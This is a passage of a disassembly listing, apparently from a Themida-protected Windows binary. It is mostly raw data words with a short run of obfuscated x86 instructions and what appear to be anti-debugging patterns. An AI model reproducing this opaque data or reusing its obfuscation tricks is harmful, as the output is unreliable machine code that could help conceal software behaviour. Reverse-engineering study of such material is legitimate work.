8D061523h, 18335685h, 858D5006h, 6183364h dd 6A006A50h, 4D858D00h, 500617A5h, 0A5BDB5FFh, 95FF0617h dd 6152391h, 3356858Dh, 8D500618h, 18337085h, 6A5006h dd 858D006Ah, 617A59Ah, 0BDB5FF50h, 0FF0617A5h, 15239195h dd 56858D06h, 50061833h, 3378858Dh, 6A500618h, 8D006A00h dd 17A5B885h, 0B5FF5006h, 617A5BDh, 239195FFh, 858D0615h dd 6183356h, 74858D50h, 50061833h, 6A006Ah, 0A5A1858Dh dd 0FF500617h, 17A5BDB5h, 9195FF06h, 8D061523h, 18335685h dd 858D5006h, 6183368h, 6A006A50h, 0A9858D00h, 500617A5h dd 0A5BDB5FFh, 95FF0617h, 6152391h, 3356858Dh, 8D500618h dd 18336C85h, 6A5006h, 858D006Ah, 617A5B0h, 0BDB5FF50h dd 0FF0617A5h, 15239195h, 0BDB5FF06h, 0FF0617A5h, 15181995h dd 0A2E906h, 0BD830000h, 61518F9h, 95840F00h, 83000000h dd 152DB5BDh, 850F0006h, 11h, 0B8D958Bh, 0C2810615h, 1CF8h dd 0FE9h, 0E1958D00h, 8B061505h, 0C2813452h, 3BD4C340h dd 282D9589h, 0BD830615h, 615282Dh, 55840F00h, 8B000000h dd 15282D9Dh, 4CC38306h, 8589038Bh, 6183360h, 282D9D8Bh dd 0C3830615h, 89038B50h, 18336485h, 2D9D8B06h, 83061528h dd 38B54C3h, 33708589h, 9D8B0618h, 615282Dh, 8B58C383h dd 74858903h, 8B061833h, 15282D9Dh, 5CC38306h, 8589038Bh dd 6183368h, 2FF1BD83h, 0F000615h, 0D85h, 0F9BD8300h, 61518h dd 68840Fh, 0B5FF0000h, 6183378h, 336CB5FFh, 0B5FF0618h dd 6183368h, 3374B5FFh, 0B5FF0618h, 6183370h, 3364B5FFh dd 0B5FF0618h, 6183360h, 335A858Dh, 8D500618h, 18339285h dd 858D5006h, 6151E95h, 2995FF50h, 8306152Fh, 406A24C4h dd 337C858Dh, 8D500618h, 151E9585h, 6A5006h, 6D595FFh dd 16A0615h, 266995FFh, 0C18B0615h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6183726h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 5EB58BFFh, 81061837h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 62B53B00h, 0F061837h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 282D858Bh, 18860615h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0E195FF08h, 50061518h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 282D858Bh, 0C60615h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 615282Dh, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 6150AA5h, 0 aLdLs db '‹D$',8,'‹˜',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 0A585C700h, 6150Ah dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 385C700h, 1061837h dd 50000000h, 244C010Fh, 7858FFEh, 8D061837h, 1836FF85h dd 7BD8D06h, 89061837h, 23E938h, 858D0000h, 61505E1h, 538408Bh dd 9B46F317h, 36FF8589h, 858D0618h, 61505E1h, 893C408Bh dd 18370385h, 1C858D06h, 89061837h, 1518E185h, 87E906h dd 8B520000h, 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h dd 6000000h, 0C8D10630h, 0FF73B46h, 0FFFFF182h, 0C25A61FFh dd 8B520008h, 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h dd 6300000h, 0C8D10628h, 0FF73B46h, 0FFFFF182h, 0C25A61FFh db 8, 0 word_5AD40E dw 8B52h ; DATA XREF: Themida_:0057B760o dd 535156D4h, 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh dd 98040000h, 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h dd 595BC38Bh, 8C25A5Eh, 8F858D00h, 89061839h, 15110185h dd 0B7858D06h, 89061839h, 1526CD85h, 0DF858D06h, 89061839h dd 151D3185h, 6A6006h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 4834CC3h, 9DD0919Eh, 0EE852AEh dd 20000000h, 0FA4476B1h, 0AE3E243Eh, 316D3ADh, 0DCC28021h dd 0AE85Eh, 0EA980000h, 817BCC00h, 0AEF9BCADh, 68E0Fh dd 8A0F0000h, 0 dd 8B58B65Ah, 32EA81C0h, 8343E43Bh, 1508F5BDh, 9750006h dd 3ADBD83h, 74000615h, 8B535019h, 40EB8C0h, 85890000h dd 6151385h, 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh dd 50177400h, 40EB853h, 85890000h, 6151385h, 0A78D9D8Dh dd 0D3FF0617h, 8B66585Bh, 23BA66D1h, 11E979h, 144D0000h dd 33C244FEh, 67DE1D83h, 0B03ABC98h, 8B1216B0h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 9E980ADh, 88000000h, 73B6C16Ah, 6763C9ACh, 9CDBD83h dd 0F000615h, 7684h, 0DE900h, 88640000h, 23EB6A2Ah, 2266B130h dd 0E9812ECBh, 2B1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 4C35343h, 0DA3F80CAh, 809C95D3h, 14E83BDDh dd 0F9000000h, 361803FFh, 32B29F65h, 16B9EF99h, 996E4B99h dd 0F0A56B3h, 68Fh, 8B0F00h, 5E000000h, 0EE9h, 196CFC00h dd 46D49AE7h, 933B053h, 8CB02BB6h, 51006ADFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 66F13C7Eh dd 1AC281h, 4C7F766h, 22850F00h, 0F000002h, 589h, 0D9EEB900h dd 0BD833E90h, 615295Dh, 1E850F00h, 50000000h, 9E9h, 3DEE6900h dd 48A2FC47h, 0B95A1EB0h, 6B10B38Ah, 1F0E9h, 7BBE6600h dd 8DFF2B68h, 183DBD9Dh, 198F0F06h, 0E9000000h, 14h, 0B75B66C8h dd 437B2651h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 0E8505A51h dd 0Bh, 4C80C1CCh, 45969FA9h, 5A5EDEE2h, 6A241C89h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 4F27C350h, 60000905h, 12E8h, 0C053D600h, 8CAFF509h dd 29A2D51h, 0E8CCBF04h, 0BB1B6D09h, 54537325h, 6860F5Fh dd 0F000000h, 85h, 0FF646100h, 35h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0E20D3D2Ch dd 0E92AA296h, 6, 0D1809CF2h, 8964526Bh, 25h, 0E9506000h dd 9, 50FC9DBEh, 5EC271AFh, 0FA8A5BE8h, 6AC48B61h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 99AEC351h, 0EB01CD73h, 5E900h, 23280000h, 570E609Fh dd 2840Fh, 61600000h, 58F6459h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DDC35242h dd 0FDE8B60h, 8361F9BFh, 0B96004C4h, 578BFD62h, 830F60h dd 0B6000000h, 0B61617Ch, 96840FC0h, 0F000000h, 6661CAB7h dd 2590DA81h, 720DBD8Dh, 0B9660615h, 1B84192h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 7B37C352h, 41C0DB02h, 81698DE3h, 9C8597D1h dd 77D6813Eh, 0FF34EE4Ch, 0F2B70FE7h, 245C8B57h, 0B8838B10h dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h dd 335F0200h, 0F57C3C0h, 8Bh, 6A5900h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6CBB1AC3h dd 816661CEh, 66CFD9E1h, 0F212E281h, 0A5BAC08Bh, 8310A70Fh dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h dd 40EB8C0h, 85890000h, 61502A1h, 0AB059D8Dh, 0D3FF0617h dd 0BD83585Bh, 61503ADh, 50177400h, 40EB853h, 85890000h dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 6A585Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8322AEC3h dd 43C16182h, 8B72B613h, 0AE9C0h, 0B8850000h, 874B80D6h dd 4E937DF3h, 0DE8C28Bh, 5F000000h, 0B9068386h, 62A959EFh dd 9C76994Bh, 7E8h, 9444F800h, 0DBA62361h, 5AFB8B66h, 0BE66535Bh dd 815FC7AEh, 5EF7C3h, 0E2816600h, 6853C0h, 0E8000000h dd 0Ch, 3AC00ECDh, 5044F47Ch, 992BC527h, 13E9h, 4C933B00h dd 0AEBEB752h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h, 5260595Eh dd 8CF6BB66h, 7E959h, 0E66D0000h, 0F2256A44h, 48B61B8h dd 0B7E2810Bh, 812D444Bh, 0D74689F0h, 1E88167h, 8B16B435h dd 61E881F9h, 666F9CFDh, 55B9F681h, 8F1CB250h, 60F90B04h dd 0C9B70F50h, 0FE95Eh, 57A0000h, 8CDD9FB6h, 0ED17021Fh dd 65D3AA5Ah, 0E98361AAh, 81494902h, 814F6ACAh, 0F4F9810Ah dd 0FFFFFA1h, 0E85h, 1CE900h, 1E540000h, 0C15B4853h, 600B0FB5h dd 61CB8B66h, 0FFFF8DE9h, 8AB97BFFh, 4634100Ch, 8EB95B3h dd 2 dup(0) dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 2DB5858Bh dd 858D0615h, 6188E90h, 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah dd 6183F95h, 295DBD83h, 0F000615h, 0F84h, 6A6000h, 2E2195FFh dd 0E9610615h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h dd 895A04CDh, 183F9185h, 95B58B06h, 0C106183Fh, 896610CEh dd 0B58B0272h, 6183F95h, 0FC728966h, 91858B61h, 0C306183Fh dd 0E41958Dh, 95890615h, 615282Dh, 28499589h, 85FF0615h dd 6152849h, 9C585C6h, 68530615h, 0FCB148D8h, 1685B5FFh dd 858D0615h, 6153B38h, 8589D0FFh, 6152E21h, 3736858Dh dd 85890618h, 615248Dh, 20EBh, 7 dup(0) dd 6BE90000h, 0E9000005h, 55Fh, 1841E068h, 3DC0E906h, 9568FFFDh dd 0E9061842h, 0FFFD3DB6h, 18447368h, 3DACE906h, 0F468FFFDh dd 0E9061844h, 0FFFD3DA2h, 0CE959D5h, 53229217h, 24F161DCh dd 5C39A90Fh, 22F363C7h, 278B0685h, 0EE51DEB7h, 2C88977Eh dd 0E94AD9BCh, 232B9C79h, 9EB279A0h, 0B9830416h, 5D59C924h dd 0B3D66D6Fh, 3A1086F2h, 0FB228169h, 849086F2h, 9515A5B2h dd 4234A398h, 8BBEF1A8h, 17A81E1Eh, 1FA6h, 624F8200h, 494670E0h dd 0F2DA02A1h, 0E1951086h, 6816ADB1h, 0F1169F32h, 1C6F5520h dd 4B000000h, 86F297B6h, 80B05010h, 325907BEh, 99BE169Fh dd 57CFAE5Ch, 1C7C6EBBh, 24BE6A0Bh, 0A4C61C9h, 46327F6Fh dd 84C62D69h, 0D890860Dh, 0C2AFE757h, 30C7CF3Fh, 1A8D5689h dd 2687406Fh, 2CD7DFB6h, 3A63E2FCh, 0B99087FDh, 36B5AEE8h dd 312B2FC6h, 87FD4F92h, 6D1D2E90h, 7B437343h, 9D1050C8h dd 0A81B1D96h, 9690CF61h, 22143B0Ch, 90CF7AA3h, 218C0396h dd 11380BD1h, 0DC9690CFh, 9741FCBh, 8F1DBE5Bh, 65h, 0DB0BABABh dd 31FF4003h, 917E169Fh, 0F8D5C131h, 0DCD507D7h, 0C9C6F060h dd 10FA6ACAh, 6530A023h, 20FD6DCEh, 0B7D44934h, 54258DA7h dd 4000003h, 0C45B3AAAh, 1320F565h, 7CB342B2h, 3AE98CFCh dd 0EEAD48B8h, 108002BDh, 0D949AE85h, 1585E73Ch, 0E050B380h dd 299CC215h, 169EB3E0h, 0B5320A8Bh, 31Fh, 59C924D1h, 0BE855785h dd 1086F29Bh, 0ADF45162h, 501086F2h, 0BDE45F7Fh, 401086F2h dd 32917B6Fh, 1086F2EBh, 86F2CE8Fh, 0F26CB210h, 86AB1086h dd 0E7D6B424h, 1086F2A6h, 86F2034Ah, 0F2A6E710h, 7F3FD086h dd 0D66D6F4Fh, 0D086F2B3h, 0BB81693Ah, 0C03090A1h, 0B211F9D6h dd 0D69EE65Eh, 62C8CEDFh, 0F5506E9Eh, 0D08BF7B1h, 49FCE2h dd 0EBDCABF7h, 0BF9030DAh, 0BF83F0DEh, 7D05EFF1h, 29Fh dd 28CD3DB9h, 6F0676FBh, 40D545C0h, 781D8DF3h, 3ED747ABh dd 0B6F2269h, 0C225FA9Bh, 106CC352h, 0DD5ED5A0h, 0F3F886Dh dd 9EB06DB4h, 0AD8F1016h, 3C6D864Fh, 5C0844Ch, 0D0234A4h dd 68CB4822h, 724A600h, 9CB3C2FCh, 708F95C2h, 1A63832Eh dd 43279719h, 6F9F5FC9h, 6EDE624Fh, 610BBA7Ch, 169F08h dd 5CD9462Fh, 2D0272D0h, 0EA5ADB48h, 4A7A3EACh, 4927D174h dd 0C5D61087h, 4E489530h, 93C91CB6h, 0B64EE930h, 0CC8B941Ch dd 13015BF0h, 0B5DB8FA0h, 360DD101h, 1AAF1EB0h, 7EEE4C39h dd 0F44F8D51h, 2CE9EADh, 92B78E50h, 5902CE9Eh, 0B1836748h dd 2930380h, 64D45B58h, 7CAD5D32h, 2C878FFFh, 2CE9E91h dd 0A4BAEA8Eh, 0F821A4BAh, 8302CE9Eh, 920281B2h, 5E1BCDF8h dd 0C9DA04D7h, 4EEE7F5h, 0F52DA536h, 92F122C8h, 5FDC5322h dd 714CA7EFh, 0EE08E620h, 81441A4Ah, 0EFFE0F7h, 88A9B586h dd 45DABB2Bh, 5E4076E6h, 2F67D755h, 7009795Eh, 4822ADA4h dd 1848F8A2h, 7F461846h, 0EFFA95Ah, 774E1021h, 0EFFA952h dd 43620819h, 8E66985h, 89534354h, 55EA544Ch, 5B3462D2h dd 26DB7F7Ch, 15345944h, 0C72A3417h, 0F0525F57h, 6AF9680h dd 0ACF14D7h, 4D97746Eh, 0E1F6C862h, 0C3BAE533h, 118862FEh dd 193EAB9Eh, 0CC6BC3Ah, 0E2000000h, 870F97B6h, 175A10h dd 4F2E0000h, 4DFB6C86h, 0A3857F66h, 5CDDFAFCh, 0F8A34760h dd 108721D5h, 0DB0BAB14h, 58D8D903h, 39D1AEE8h, 9F32E08Ah dd 86B08116h, 7DF844F4h, 0FF34090Dh, 1B230C7Ch, 0A5069216h dd 0EE701A35h, 83BBAB57h, 370ED010h, 1CABBB12h, 7E22C8D9h dd 77BF2F91h, 0DCD4A986h, 7B1BF3Fh, 0C185EDh, 17970000h dd 0E061CEA7h, 2F8EA570h, 0E749D6BFh, 31919E77h, 347734C1h dd 0EC89F979h, 0B540B037h, 0E78EFE7Eh, 0AA4BBB38h, 4B8E3519h dd 32169EB6h, 0BAB8BB1h, 0CEC838BFh, 0B300DEF1h, 0E4D9DD4Dh dd 0EB953006h, 28169F32h, 892A3A2Fh, 0D4B6DE2Fh, 55E3D3E4h dd 6F6D71A1h, 11B3D66Dh, 693A169Eh, 1C362281h, 7E471083h dd 0E362CB4Ah, 1CAB06BEh, 0BB4B6C3Dh, 98654AE0h, 0B1BF7B9Ah dd 40CB274Dh, 18000000h, 0D8472E9Eh, 170CE959h, 0E04F2696h dd 0E25F060h, 42593CACh, 64D45649h, 0AD1DA291h, 69D95BC8h dd 0A414978Ch, 6DD806D1h, 169EB624h, 0B5F646C7h, 0Bh, 0E1624FD1h dd 53C34271h, 247585B7h, 475C5ACAh, 314274E4h, 3E3363D3h dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h dd 783C7AEAh, 555E68h, 24148900h, 5E08950h, 4, 42Dh, 24048700h dd 243C895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], ecx mov ecx, 575B0D98h sub ecx, 5142CCE7h mov edi, ecx pop ecx push 6DA3h mov [esp], esp add dword ptr [esp], 4 pop edx push 79D8h mov [esp], ebx mov ebx, 8 add ebx, edx mov [ebx], edi pop ebx push dword ptr [esp] pop edx add esp, 4 mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- db 8 dd 1ED1BD76h, 0B8A51C86h, 6184559h, 0C88BC503h, 51E9h dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h dd 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh, 89F82BC1h dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh dd 3EBAFFFFh, 0EB0009FDh, 63BE900h, 2FE90000h, 68000006h dd 6184727h, 0FD37F1E9h, 489668FFh, 0E7E90618h, 68FFFD37h dd 6184914h, 0FD37DDE9h, 49E568FFh, 0D3E90618h, 68FFFD37h dd 6184AF7h, 0FD37C9E9h, 0E050AEFFh, 2B9B1E15h, 0E858D54Ah dd 2292160Dh, 0EE5EDC53h, 0A81B9007h, 0E43BDA4Ah, 0AD821383h dd 0E936DF4Fh, 487B1A8Ah, 0B49ABF86h, 0A061169Eh, 0F297B69Ch dd 365B1086h, 0BA1086F2h, 1086F294h, 86F2335Ah, 0F297B710h dd 325B1086h, 0AB9086F2h, 4003DB0Bh, 969C1D54h, 0B7BFC29h dd 411D320Bh, 0B89C3A1Bh, 987C0D0Dh, 53C341F2h, 9F0F6DC2h dd 3D6D1197h, 111A3B21h, 86F674D5h, 353B9EB1h, 0C63E6655h dd 0D2BF9089h, 0E3340373h, 0D4C44243h, 74AB725Dh, 0E731C19Ch dd 4B765CDh, 0EB4B0000h, 24859A7Bh, 0F352E1B4h, 0BB3DF283h dd 0F575AA4Bh, 0F0BBF085h, 28CD3DBDh, 710474FBh, 43D242C2h dd 761F8FECh, 9FC2814Dh, 5E169EB5h, 0C7249F9Dh, 0F2BADF66h dd 70411086h, 0D3327F5Fh, 7D5A3363h, 0E530C97Dh, 6CAA4047h dd 869FC509h, 1E133B10h, 0AE152999h, 10869F6Bh, 2E690112h dd 0BB3E737Fh, 98724B4Bh, 0CDA8189Bh, 6A655481h, 0CD2F3888h dd 278FEC1Dh, 9C49F3AAh, 0E082787h, 0F0269615h, 856D6059h dd 0AE5CCC2Ch, 0E78EFE7Dh, 0A8D52FBAh, 3E6B597h, 0E9F30000h dd 8645375Ah, 56C62910h, 5BDAD9EAh, 241BFFEBh, 48B83BC7h dd 585E714Eh, 66906176h, 0B837291Bh, 0B0ABF3D2h, 0C8311086h dd 0D2F8DD15h, 88B1DB6Ah, 549F2730h, 0B51C2C1Eh, 67D754D5h dd 0AA19458Eh, 10865367h, 8293506h, 77FB38A8h, 0B8A96307h dd 0FA29CC3Ch, 27350979h, 0EA975B2Eh, 47FE3FA7h, 10860C02h dd 4571E15Ch, 23C7D848h, 0F83923E9h, 70990C7Ch, 0FB10860Ch dd 0AA5A402Ah, 0C97BA89h, 92ED1086h, 0E4F03173h, 0F3DCED53h dd 3EAE0D22h, 7F943720h, 12C5B333h, 42A5BE78h, 5F7E43D2h dd 9110863Ah, 0F278BE2Eh, 1E401E4Eh, 62A71E40h, 910863Ah dd 3A448D38h, 16271086h, 0C1A54974h, 5B48169Ch, 5E2F67D7h dd 0AF6BAC71h, 2F4B7D6h, 34882h, 0CC3CBA00h, 777FA29h dd 0D444C16Eh, 1E8EF241h, 0DA4AA877h, 742F5C3Bh, 40EF86F6h dd 79A64FBFh, 35EA8BFBh, 24AF46B6h, 0BA468B3Ah, 6425169Eh dd 57C724D8h, 0ABEE5587h, 521086F2h, 766BA941h, 0A09185F5h dd 84C6AF1Fh, 6192BA53h, 79116292h, 86AC434Ah, 5CE62710h dd 77F81087h, 69B40F07h, 0AA10869Ch, 0D0BA2A89h, 0D8E616EAh dd 9C69596Dh, 32CBDC16h, 0B7D70AEFh, 0CA028274h, 38000002h dd 78A74EBEh, 37EC89F9h, 80AF46B6h, 2E059000h, 0E2B95CCCh dd 474F6A9h, 0CD3DC271h, 979FB28h, 0C434B76Ch, 0DB8A631h dd 169EBBC4h, 2456E6A7h, 525F57C7h, 0F29581F1h, 50B314BBh dd 1DA015E0h, 0A397A81Ah, 248h, 0AB1B9899h, 44F8926Bh dd 72E2624Fh, 49F4B44h, 1086F2D9h, 583DAD0Fh, 0E5F969CBh dd 160070CCh, 0CEE35139h, 0FEE0FE6Eh, 86F20247h, 32D8E910h dd 0C0F14504h, 741BCF3Fh, 8EFE7E49h, 0CA7963E7h, 1086F287h dd 0F6B55566h, 97A81A73h, 2D9D1E13h, 62DD3Dh, 4FB90000h dd 296DDD62h, 3CFCB654h, 0AADC0B14h, 0AD82BC23h, 5B963291h dd 0EC45169Ch, 251A1C8Ch, 1B1B8BEEh, 47584822h, 0D7256DB6h dd 78FCFAB7h, 1F9h, 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h dd 0AE47B73Bh, 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h dd 0BF8F38DDh, 9EBBDD04h, 5DDFA016h, 123F06C8h, 0E91086F2h dd 0C3F0DED8h, 0F6C7CF3Fh, 25951714h, 0F060E350h, 588834C6h dd 960666BDh, 3FAD8FC8h, 6812C53Ch, 5A7D6028h, 6C70A079h dd 8B851E0h, 0F796745Bh, 5B5BCB28h, 3380E146h, 0A0E95CCCh dd 4B108647h, 17C0557Ah, 47557C47h, 0EB181086h, 361989h dd 1C2292F3h, 0F8D6B13Bh, 6B1FE186h, 0CAEB9A20h, 862CD6FBh dd 0AB849510h, 87F7766Bh, 2C8AD3EEh, 93631086h, 0FCE85B63h dd 81169CC4h, 15B0AEB0h, 1690F4CCh, 0F453764Dh, 91A1690h dd 52E48697h, 8B78E061h, 68E622A2h, 6EC5507Fh, 0B19B9B0Bh dd 0D98054A4h, 76144591h, 0CFC737B5h, 0D1ED5DE2h, 17F363E0h dd 82022F1Dh, 140272F6h, 0B576143Bh, 5CCEC838h, 0F3526C9Ch dd 108D950Fh, 1D009DAEh, 0BEB1C128h, 0E73CB8h, 9B1B0000h dd 54D54A2Bh, 0A32211E4h, 6BCD6233h, 0A5051AFBh, 404B6035h dd 987DED4Dh, 0E1B4248Bh, 0F382F252h, 0A64FBF3Ch, 4F92311Dh dd 2E169EB8h, 8D4FCF6Dh, 86F293B6h, 0CB2D5A10h, 9596745Bh dd 0B9298A16h, 8FAF807Dh, 83B323A2h, 0F2E72A99h, 0B5861086h dd 0AB1B999Ah, 0DF5C55BFh, 0CE90276Fh, 1BC77089h, 0A2917B12h dd 0D5BCAE1Eh, 0FD5EDDEAh, 86B40346h, 3FBDEA10h, 0D9F6C7CFh dd 0F63B1FF6h, 27660474h, 97A85FC2h, 79E94F64h, 4F47B73Ah dd 19B08C7Eh, 0AE000000h, 0DABE73A9h, 0EA6DFBh, 0F296B61Ch dd 69CA1086h, 21981CF9h, 74000000h, 71E1624Fh, 0F2E32A99h dd 3E201086h, 86F24287h, 0A3202910h, 0E2174A99h, 28E981AEh dd 6EBA5BCBh, 12351299h, 73000000h, 0E1A7D862h, 0A125A686h dd 68E94439h, 9D7F6B44h, 5ACA249Dh, 74E4475Ch, 63D33142h dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h dd 7AEA4F64h, 7B68783Ch, 89000067h, 8950240Ch, 405E0h dd 42D0000h, 87000000h, 895C2404h, 3768243Ch, 8900003Eh dd 0BE56241Ch, 73857B2Dh, 3DA7F681h, 0F789759Dh, 8324348Bh dd 0EC8304C4h, 24248904h, 4240481h, 5B000000h, 89FE8956h dd 348B0873h, 4C48124h, 0FF000000h, 815B2434h, 4C4h, 243C8B00h dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 0FD31D9E9h, 5995BEFFh dd 0EFD354F7h, 75830B53h, 3B82710h, 306184Ch, 0E9D18BC5h dd 166h, 45E26F3h, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h, 92A7ABDDh dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h, 0B6E592B6h dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h dd 50AE29B0h, 54000000h, 58000000h, 2 dup(0) dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h dd 200000Ah, 53000000h, 69767265h, 50206563h, 206B6361h dd 32h, 26h dup(0) dd 0A5E90000h, 6800001Fh, 6184FD7h, 0FD3049E9h, 50EB68FFh dd 3FE90618h, 68FFFD30h, 61851C3h, 0FD3035E9h, 529A68FFh dd 2BE90618h, 68FFFD30h, 61853AAh, 0FD3021E9h, 546A68FFh dd 17E90618h, 68FFFD30h, 6185542h, 0FD300DE9h, 561168FFh dd 3E90618h, 68FFFD30h, 6185A23h, 0FD2FF9E9h, 5A8C68FFh dd 0EFE90618h, 68FFFD2Fh, 6185BA6h, 0FD2FE5E9h, 5E8368FFh dd 0DBE90618h, 68FFFD2Fh, 618622Bh, 0FD2FD1E9h, 659668FFh dd 0C7E90618h, 68FFFD2Fh, 61866ACh, 0FD2FBDE9h, 671C68FFh dd 0B3E90618h, 68FFFD2Fh, 618676Ch, 0FD2FA9E9h, 67CE68FFh dd 9FE90618h, 68FFFD2Fh, 6186989h, 0FD2F95E9h, 6A8168FFh dd 8BE90618h, 68FFFD2Fh, 6186C46h, 0FD2F81E9h, 878F6FFh dd 0C333B66Dh, 1080FD32h, 0DA4AAE85h, 1686E43Bh, 3063287Fh dd 9C9362D2h, 55CAAB1Bh, 0A18E67D7h, 0F0E3B222h, 0BC3257EEh dd 38B9169Eh, 57C72404h, 81F1525Fh, 0C2F2C6F4h, 0FB1149FCh dd 0CBDC169Bh, 0FB2568CBh, 67D21693h, 276CD178h, 3EF49DBDh dd 0EA000000h, 0C838BFF4h, 93F3345Dh, 4E6B716h, 0DB0BAB10h dd 0F5F04003h, 0BC8D169Bh, 1B9F947Ah, 0F5766BABh, 93BC9185h dd 0F181CCF7h, 0C36E1693h, 5DDDD61Ch, 2B8EFDEDh, 0B19DBD1Dh dd 0ABh, 57C72485h, 64F0525Fh, 0A8B69909h, 0F2CA0FB6h dd 0E0B11086h, 94170C0Ah, 143BAB08h, 42B21122h, 45B5377Ch dd 0E5EBC6A5h, 0F71086F7h, 0C2710474h, 53E5D141h, 0D86B73A3h dd 169C0030h, 0A109ECBDh, 3291ADDDh, 108B8509h, 0EA471728h dd 11461888h, 0E34509C2h, 6B616473h, 0BEE3627Ch, 3D1CAAA6h dd 40EF7E6Ch, 6CCB52C2h, 6FB1C042h, 1D22FD85h, 7BFB0000h dd 34B56A0Bh, 830231C4h, 4BAD8213h, 85E53ADBh, 602B8015h dd 0B85DCD2Dh, 194046Bh, 9362D232h, 0C6AF1F9Ch, 2F72D1FDh dd 0CE169EBDh, 0C624EF4Dh, 1370BF56h, 0AB66D2A3h, 0AE03DB0Bh dd 2E30DA4Ah, 9BF59B97h, 0A591A216h, 93F1FF1Eh, 9E118816h dd 0BD1D3EABh, 6FD3E09Dh, 3D64DFFFh, 0C01693FDh, 0E91FFBEFh dd 0FB000000h, 6DDD624Fh, 75B65429h, 0A39086F6h, 0A28FAF1Fh dd 8885B121h, 496A34E2h, 35907AEAh, 1086F6AFh, 8ED3726Ch dd 6D1086F7h, 